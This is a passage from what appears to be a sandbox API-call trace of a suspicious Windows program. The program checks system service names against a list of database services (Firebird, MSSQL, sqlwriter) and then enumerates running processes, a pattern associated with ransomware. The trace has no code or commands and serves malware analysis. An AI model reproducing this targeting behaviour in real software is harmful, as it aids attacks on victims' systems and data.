(lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0109.544] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0109.544] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0109.544] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0109.544] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0109.544] lstrlenW (lpString="MpsSvc") returned 6 [0109.544] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0109.544] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0109.544] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0109.544] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0109.544] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0109.544] lstrlenW (lpString="NcbService") returned 10 [0109.544] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0109.544] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0109.544] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0109.544] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0109.544] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0109.544] lstrlenW (lpString="netprofm") returned 8 [0109.544] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0109.544] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0109.544] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0109.544] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0109.544] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0109.544] lstrlenW (lpString="NlaSvc") returned 6 [0109.544] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0109.545] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0109.545] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0109.545] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0109.545] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0109.545] lstrlenW (lpString="nsi") returned 3 [0109.545] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0109.545] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0109.545] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0109.545] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0109.545] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0109.545] lstrlenW (lpString="PcaSvc") returned 6 [0109.545] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0109.545] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0109.545] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0109.545] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0109.545] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0109.545] lstrlenW (lpString="PlugPlay") returned 8 [0109.545] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0109.545] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0109.545] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0109.545] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0109.545] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0109.545] lstrlenW (lpString="Power") returned 5 [0109.545] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0109.545] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0109.545] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0109.545] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0109.545] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0109.545] lstrlenW (lpString="ProfSvc") returned 7 [0109.546] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0109.546] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0109.546] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0109.546] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0109.546] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0109.546] lstrlenW (lpString="RpcEptMapper") returned 12 [0109.546] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0109.546] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0109.546] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0109.546] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0109.546] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0109.546] lstrlenW (lpString="RpcSs") returned 5 [0109.546] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0109.546] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0109.546] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0109.546] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0109.546] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0109.546] lstrlenW (lpString="SamSs") returned 5 [0109.546] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0109.546] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0109.546] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0109.546] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0109.546] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0109.546] lstrlenW (lpString="Schedule") returned 8 [0109.546] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0109.546] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0109.546] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0109.546] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0109.546] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0109.546] lstrlenW (lpString="SecurityHealthService") returned 21 [0109.546] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0109.547] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0109.547] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0109.547] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0109.560] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0109.560] lstrlenW (lpString="SENS") returned 4 [0109.560] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0109.560] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0109.560] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0109.560] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0109.560] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0109.560] lstrlenW (lpString="ShellHWDetection") returned 16 [0109.560] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0109.560] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0109.560] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0109.561] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0109.561] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0109.561] lstrlenW (lpString="Spooler") returned 7 [0109.561] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0109.561] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0109.561] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0109.561] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0109.561] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0109.561] lstrlenW (lpString="sppsvc") returned 6 [0109.561] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0109.561] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0109.561] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0109.561] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0109.561] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0109.561] lstrlenW (lpString="SSDPSRV") returned 7 [0109.561] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0109.561] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0109.561] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0109.561] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0109.561] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x61c998 | out: hHeap=0x5c0000) returned 1 [0109.561] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x358 [0109.566] Process32FirstW (in: hSnapshot=0x358, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0109.567] Process32NextW (in: hSnapshot=0x358, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0109.567] lstrlenW (lpString="System") returned 6 [0109.568] Process32NextW (in: hSnapshot=0x358, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0109.568] lstrlenW (lpString="smss.exe") returned 8 [0109.568] Process32NextW (in: hSnapshot=0x358, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0109.569] lstrlenW (lpString="csrss.exe") returned 9 [0109.569] Process32NextW (in: hSnapshot=0x358, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0109.570] lstrlenW (lpString="wininit.exe") returned 11 [0109.570] Process32NextW (in: hSnapshot=0x358, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0109.570] lstrlenW (lpString="csrss.exe") returned 9 [0109.570] Process32NextW (in: hSnapshot=0x358, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0109.571] lstrlenW (lpString="winlogon.exe") returned 12 [0109.571] Process32NextW (in: hSnapshot=0x358, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0109.572] lstrlenW (lpString="services.exe") returned 12 [0109.572] Process32NextW (in: hSnapshot=0x358, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0109.573] lstrlenW (lpString="lsass.exe") returned 9 [0109.573] Process32NextW (in: hSnapshot=0x358, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0109.573] lstrlenW (lpString="svchost.exe") returned 11 [0109.573] Process32NextW (in: hSnapshot=0x358, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0109.574] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0109.574] Process32NextW (in: hSnapshot=0x358, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0109.575] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0109.575] Process32NextW (in: hSnapshot=0x358, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0109.575] lstrlenW (lpString="svchost.exe") returned 11 [0109.575] Process32NextW (in: hSnapshot=0x358, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0109.576] lstrlenW (lpString="dwm.exe") returned 7 [0109.576] Process32NextW (in: hSnapshot=0x358, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0109.577] lstrlenW (lpString="svchost.exe") returned 11 [0109.577] Process32NextW (in: hSnapshot=0x358, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0109.577] lstrlenW (lpString="svchost.exe") returned 11 [0109.578] Process32NextW (in: hSnapshot=0x358, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0109.578] lstrlenW (lpString="svchost.exe") returned 11 [0109.578] Process32NextW (in: hSnapshot=0x358, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0109.579] lstrlenW (lpString="svchost.exe") returned 11 [0109.579] Process32NextW (in: hSnapshot=0x358, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0109.580] lstrlenW (lpString="svchost.exe") returned 11 [0109.580] Process32NextW (in: hSnapshot=0x358, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0109.581] lstrlenW (lpString="svchost.exe") returned 11 [0109.581] Process32NextW (in: hSnapshot=0x358, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0109.582] lstrlenW (lpString="svchost.exe") returned 11 [0109.582] Process32NextW (in: hSnapshot=0x358, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0109.582] lstrlenW (lpString="svchost.exe") returned 11 [0109.583] Process32NextW (in: hSnapshot=0x358, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0109.583] lstrlenW (lpString="svchost.exe") returned 11 [0109.583] Process32NextW (in: hSnapshot=0x358, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0109.584] lstrlenW (lpString="spoolsv.exe") returned 11 [0109.584] Process32NextW (in: hSnapshot=0x358, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0109.585] lstrlenW (lpString="svchost.exe") returned 11 [0109.585] Process32NextW (in: hSnapshot=0x358, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0109.585] lstrlenW (lpString="svchost.exe") returned 11 [0109.585] Process32NextW (in: hSnapshot=0x358, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0109.586] lstrlenW (lpString="audiodg.exe") returned 11 [0109.586] Process32NextW (in: hSnapshot=0x358, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0109.587] lstrlenW (lpString="sihost.exe") returned 10 [0109.587] Process32NextW (in: hSnapshot=0x358, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0109.587] lstrlenW (lpString="svchost.exe") returned 11 [0109.588] Process32NextW (in: hSnapshot=0x358, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0109.588] lstrlenW (lpString="taskhostw.exe") returned 13 [0109.588] Process32NextW (in: hSnapshot=0x358, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0109.589] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0109.589] Process32NextW (in: hSnapshot=0x358, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0109.590] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0109.590] Process32NextW (in: hSnapshot=0x358, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3a, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0109.590] lstrlenW (lpString="explorer.exe") returned 12 [0109.590] Process32NextW (in: hSnapshot=0x358, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0109.591] lstrlenW (lpString="Memory Compression") returned 18 [0109.591] Process32NextW (in: hSnapshot=0x358, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0109.592] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0109.592] Process32NextW (in: hSnapshot=0x358, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0109.592] lstrlenW (lpString="SearchUI.exe") returned 12 [0109.592] Process32NextW (in: hSnapshot=0x358, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0109.593] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0109.593] Process32NextW (in: hSnapshot=0x358, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0109.595] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0109.595] Process32NextW (in: hSnapshot=0x358, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0109.596] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0109.596] Process32NextW (in: hSnapshot=0x358, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0109.597] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0109.597] Process32NextW (in: hSnapshot=0x358, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfdc, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0109.597] lstrlenW (lpString="conhost.exe") returned 11 [0109.597] Process32NextW (in: hSnapshot=0x358, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="screensaver-fireplace-subdivision.exe")) returned 1 [0109.598] lstrlenW (lpString="screensaver-fireplace-subdivision.exe") returned 37 [0109.599] Process32NextW (in: hSnapshot=0x358, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="upper arc.exe")) returned 1 [0109.599] lstrlenW (lpString="upper arc.exe") returned 13 [0109.599] Process32NextW (in: hSnapshot=0x358, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="buying-defeat-preston.exe")) returned 1 [0109.600] lstrlenW (lpString="buying-defeat-preston.exe") returned 25 [0109.600] Process32NextW (in: hSnapshot=0x358, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x668, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="isolated-concerned.exe")) returned 1 [0109.601] lstrlenW (lpString="isolated-concerned.exe") returned 22 [0109.601] Process32NextW (in: hSnapshot=0x358, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="memberromanialiberia.exe")) returned 1 [0109.601] lstrlenW (lpString="memberromanialiberia.exe") returned 24 [0109.602] Process32NextW (in: hSnapshot=0x358, lppe=0x249fd2c | out: 